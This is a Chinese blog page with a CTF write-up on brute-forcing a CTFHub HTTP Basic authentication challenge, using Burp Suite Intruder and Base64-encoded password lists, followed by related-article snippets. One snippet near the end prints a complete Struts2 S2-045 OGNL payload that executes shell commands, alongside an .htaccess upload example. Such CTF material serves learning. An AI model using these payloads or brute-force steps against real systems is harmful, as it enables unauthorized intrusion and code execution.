CTFHUB-WEB之基础认证

最新推荐文章于 2025-09-15 08:55:45 发布
原创 最新推荐文章于 2025-09-15 08:55:45 发布 · 3.8k 阅读 · 0 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#web安全

本文介绍了一种CTF挑战中的基础认证破解方法。通过抓包分析及使用Burp Suite工具和Python脚本批量测试Base64编码的密码，最终确定正确的登录凭证。

CTFHUB-WEB之基础认证

开始

打开题目发现需要登陆，没有任何头绪，先抓个包看看。
发现了个小提示 并且现在知道用户名为admin 就差密码了

在这里插入图片描述
下载下来附件打开发现一堆字符串，猜想可能是其中有一个真密码
然后在验证界面随便输入发现验证一行有东西 basic（应该表示基础验证），这后面应该是输入的密码

在这里插入图片描述
目测应该用了什么编码
再多输入几个看看（我输入的ada:123）
在这里插入图片描述
这种格式很有可能是Base64
在这里插入图片描述
这时候面对这么多密码可能，可以用burpsute或者其他脚本
在这里插入图片描述

方法一

抓包时可以在action 里面找到 send to intruder就能自动补充host等信息
在这里插入图片描述
然后在Basic后面加payload
在这里插入图片描述
再添加负载内容
在这里插入图片描述
记得关闭，要不然会将特殊符号编码
在这里插入图片描述

然后加一点规则
在这里插入图片描述
在一堆结果中找到与其他长度不一样的。

方法二

通过python完成编码
然后步骤同上

import base64
list = ['123456','password','line','12345678','qwerty','123456789'
最低0.47元/天 解锁文章
CTFhub-基础认证
qq_43006864的博客
12-11 8717
一、首先，打开题目所给界面。这里他给了我们一个密码本。 这里提示我们。这儿是你的flag，还有一个可以点击的选项。 正常思路，我们会点击这个click交互键。 二、然后弹出来了一个登陆界面，这里老规矩，打开burpsuit，进行抓包。 这里跳过之前的抓包步骤，我们直接用burpsuit，到登陆界面。 然后进行一下测试，因为目前没有更多的思路，所以先随便输入用户名和密码，这里我输的是aa：aa。 然后进行抓包，发现了Authorization：后面有一串BASE64的编码 ..
CTFHub | 基础认证
尼泊罗河伯的博客
10-01 5370
这题有一个题目附件10_million_password_list_top_100 内容是1000 万密码列表的前 100 个，那么这题应该和暴力破解有关。在这之前，我先使用了暴力破解工具进行尝试，但是密码都试遍了也没成功。
CTFHub HTTP协议通关笔记：基础认证 原理详解与渗透实战
mooyuan的网络安全博客
09-15 1245
本文详细介绍了CTFHub平台"HTTP协议-基础认证"关卡的渗透过程。首先解析了HTTP基础认证的基本概念和交互流程，说明其通过Base64编码传输凭证的安全缺陷。随后展开渗透实战：从下载密码字典开始，利用Burp Suite的Intruder模块进行暴力破解，包括配置攻击位置、加载字典、添加用户名前缀、Base64编码处理等步骤，最终通过分析不同响应状态码找到包含flag的正确凭证。整个过程展示了如何利用HTTP基础认证的安全弱点进行渗透测试。
ctfhub 基础认证
m0_63711447的博客
05-25 3287
1、打开题目环境 2、点击click跳出来一个登录弹窗，随便输入用户名和密码登录试试，没有返回任何有用信息 3、查看附件，得到一堆密码，应该是要直接爆破 4、点击click抓包后发送到repeater模块，重新发包得到"Do u know admin"的信息，猜测用户名即为admin 4、输入用户名和密码后抓包，看到一串base64加密过的字符 丢到解码器里解码，发现是我刚输进去的用户名和密码，中间用冒号隔开了（冒号划重点！ 6、把包发送到爆破模块，给刚刚的base64密
CTFHUB HTTP协议 - 基础认证
weixin_52241647的博客
12-15 1679
当客户端（如浏览器）向服务器请求受保护的资源时，服务器会返回一个 401 Unauthorized（未授权）状态码，并在响应头中包含 “WWW-Authenticate” 字段，该字段会指定认证方式（这里就是 “Basic”，表明基础认证）以及认证的 realm（领域，用于区分不同的受保护资源区域）等信息。服务器解码收到的认证信息，对比数据库等存储的合法用户信息，如果用户名和密码正确，就返回请求的资源内容，如 HTTP/1.1 200 OK 以及对应的网页 HTML 内容等；
CTFHub-基础认证
Have_a_great_day的博客
09-06 1056
CTFHub-基础认证之夺旗流程
CTFHUB-WEB-WEB前置技能-HTTP协议-基础认证
bbbbb___的博客
09-09 789
解决了许久以来的困惑~搞清楚原理以后这道题还是比较好做的~~
CTFHUB-WEB前置技能-HTTP协议-基础认证
K_ShenH的博客
06-09 1394
CTFHUB-WEB前置技能-HTTP协议-基础认证
CTFHub-Web前置技能[HTTP协议(基础认证、响应包源代码)]
07-09
基础认证base64加密后文件
ctfhub-web-基础认证
m0_52484587的博客
08-26 306
选择刚才的base64字符串，记住，不要吧basic选上了。添加完前缀，这还不够，大家还记得之前的base64吧。密码本是正常的字符串，如果有会py，且还可以的话，可以试一下重新生成密码本。这里的步骤是给我这样不会py的小伙伴，这里呢，不会py也不要紧，大家再同上一步，添加。这里选择编码，选择base64。但是切记，因为密码和用户名是base64加密的，所以有效载荷处理这里要手动处理一下。选择添加，添加前缀，这里我们假定用户名是admin，所以只需要添加前缀，，第一次没加冒号，怎么搞都不对，切记啊！
CTFHUB--基础认证
追风少年亚索的博客
12-02 658
在HTTP中，基本认证（英语：Basic access authentication）是允许http用户代理（如：网页浏览器）在请求时，提供 用户名 和 密码 的一种方式。详情请查看 https://zh.wikipedia.org/wiki/HTTP基本认证
CTFHub-web前置技能-基础认证
RedArvin的博客
10-04 716
根据要求尝试输入{用户名：admin; 密码：123456}，由‘’Do u know admin"猜测用户名为admin,信息错误无响应 根据输入前后抓包结果差异，考虑” Authorization: Basic YWRtaW46MTIzNDU2”为输入内容，观察得“YWRtaW46MTIzNDU2”为4的倍数，猜测为base64编码 使用题目文档中“10_million_password_list_top_100”文件对密码进行爆破： 1.选中clear清除原有标记；选中Basic后字符串，点击
CTFHub-Web基础认证
weixin_45871855的博客
10-29 992
在CTFHub中被搁置好久的题： 原地址 （1）打开链接 点击click得到一个输入框 “Do u know admin?”可知这个题的用户名大概率是”admin“ （2）下载附件得到一个压缩包，解压是一个密码本，你可以一个一个试，不过这是最笨的方法 我们可以用burp抓包，进行密码爆破 在Basic后面有一串字符像Basic 64 将它 “YWRtaW46MTlzNDU=” 解码得 admin:19s45 可知这串字符是这个题的用户名和密码； （3）将它进行爆破 将数据发送到 Intruder 进行
CTFHub 基础认证
m0_52709104的博客
04-03 418
HTTP协议基本认证 大家看一下这篇文章会对HTTP基本认证有着更好的理解，也对下面的做题有帮助： https://blog.youkuaiyun.com/weixin_42461410/article/details/88420947 大家看一下这篇文章会对HTTP基本认证有着更好的理解： 打开题目： 下载附件会用到爆破，使用Burp抓包： 把Basic后面的数据点击添加 载入下载的字典 根据上面那篇文章：1.添加前缀作为用户名 admin：，2.进行Base64编码 3.记住把URL编码取消勾选 进行
基础认证（CTFHUB）
Sweet_vinegar520的博客
03-19 466
主要是看网上wp，是写脚本编码密码表，但其实burp有自己的加密机制。
ctfhub HTTP协议 基础认证
qq_75120258的博客
10-15 522
在HTTP中，基本认证（英语：Basic access authentication）是允许http用户代理（如：网页浏览器）在请求时，提供 用户名 和 密码 的一种方式。详情请查看 https://zh.wikipedia.org/wiki/HTTP基本认证
ctfhub HTTP协议-基础认证
qq_44640313的博客
01-20 885
在HTTP中，基本认证（英语：Basic access authentication）是允许http用户代理（如：网页浏览器）在请求时，提供 用户名 和 密码 的一种方式。
ctfhub-HTTP协议-基础认证
m0_62094846的博客
11-07 457
但抓不了包，但我看很多人wp都是可以的 只能在这个页面抓包了，再自己添加这一段 如果乱添加一通的话，会显示Douknowadmin,可能表示用户名是admin，字典上也只是给了密码，所以账号已知 Authorization:Basic是固定格式 后一段表示 用户名：密码 接下来爆破 下面的和之前的有些不一样，因为密码要编码成base64 添加前缀和编码方式 取消勾选，否则，=会被转为%3d (12条消息) Burp S...
CTFHub Web前置技能 HTTP协议基础认证
qq_46222050的博客
08-21 680
HTTP基础认证 我们打开题目，点击跳转发现需要用户名和密码，根据提示“Do you know admin?”，我们猜测用户名为admin。题目给的附件解压完事字典，很明显这道题目要使用爆破。 我们挂上代理ip，打开burp suite抓包，随便输入一个密码然后截取.我们发现Basic，Basic 表示“基础认证”.使用解码器解码为admin:123，就是我们输入的用户名与密码. 我们右键发送到测试器，添加$。 有效载荷集为1，有效载荷类型为自动迭代器，载入给你的字典. 有效负载处理里面添加前缀
ctfhub-web进阶-apche
最新发布
11-17
由于没有具体的站内引用内容，以下是关于CTFhub平台Web进阶板块中与Apache相关的常见内容分析： ### 解题方法 - **Apache配置文件漏洞**：在CTF题目中，可能存在Apache配置文件（如`.htaccess`）配置不当的情况。例如，若允许`.htaccess`文件覆盖全局配置，攻击者可通过上传恶意的`.htaccess`文件来执行任意代码。解题时，需要利用文件上传漏洞上传包含恶意配置的`.htaccess`文件，然后再上传可执行的PHP等脚本文件，从而获取服务器权限。 ```python # 示例代码：模拟利用文件上传漏洞上传恶意文件 import requests url = "http://example.com/upload.php" files = {'file': open('malicious.htaccess', 'rb')} response = requests.post(url, files=files) if response.status_code == 200: print(".htaccess文件上传成功") ``` - **Apache解析漏洞**：某些版本的Apache存在解析漏洞，比如在特定配置下，当请求一个不存在的文件时，Apache会尝试从右向左解析文件扩展名。例如，对于文件`test.php.jpg`，若存在解析漏洞，可能会将其当作PHP文件解析。解题时，可上传一个文件名类似`test.php.jpg`的恶意PHP脚本，然后访问该文件，触发解析漏洞执行脚本。 ### 漏洞利用 - **Apache Struts2漏洞**：Struts2是一个常用的Java Web应用框架，若使用Apache服务器部署Struts2应用，且Struts2存在漏洞（如S2-045），攻击者可通过构造恶意请求来执行任意代码。攻击者可构造包含恶意OGNL表达式的请求头，发送给目标服务器，从而实现远程代码执行。 ```python import requests url = "http://example.com/struts2-app.action" headers = {'Content-Type': '%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}'} response = requests.get(url, headers=headers) print(response.text) ``` ### 学习资料 - **官方文档**：Apache官方文档是学习Apache的重要资料，它详细介绍了Apache的各种配置选项、模块使用方法等。可以在Apache官方网站（https://httpd.apache.org/docs/）上查看最新版本的文档。 - **安全博客和论坛**：一些安全博客和论坛（如安全客、先知社区等）会分享关于Apache安全漏洞的分析和利用方法，通过阅读这些文章可以深入了解Apache相关的安全知识。
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值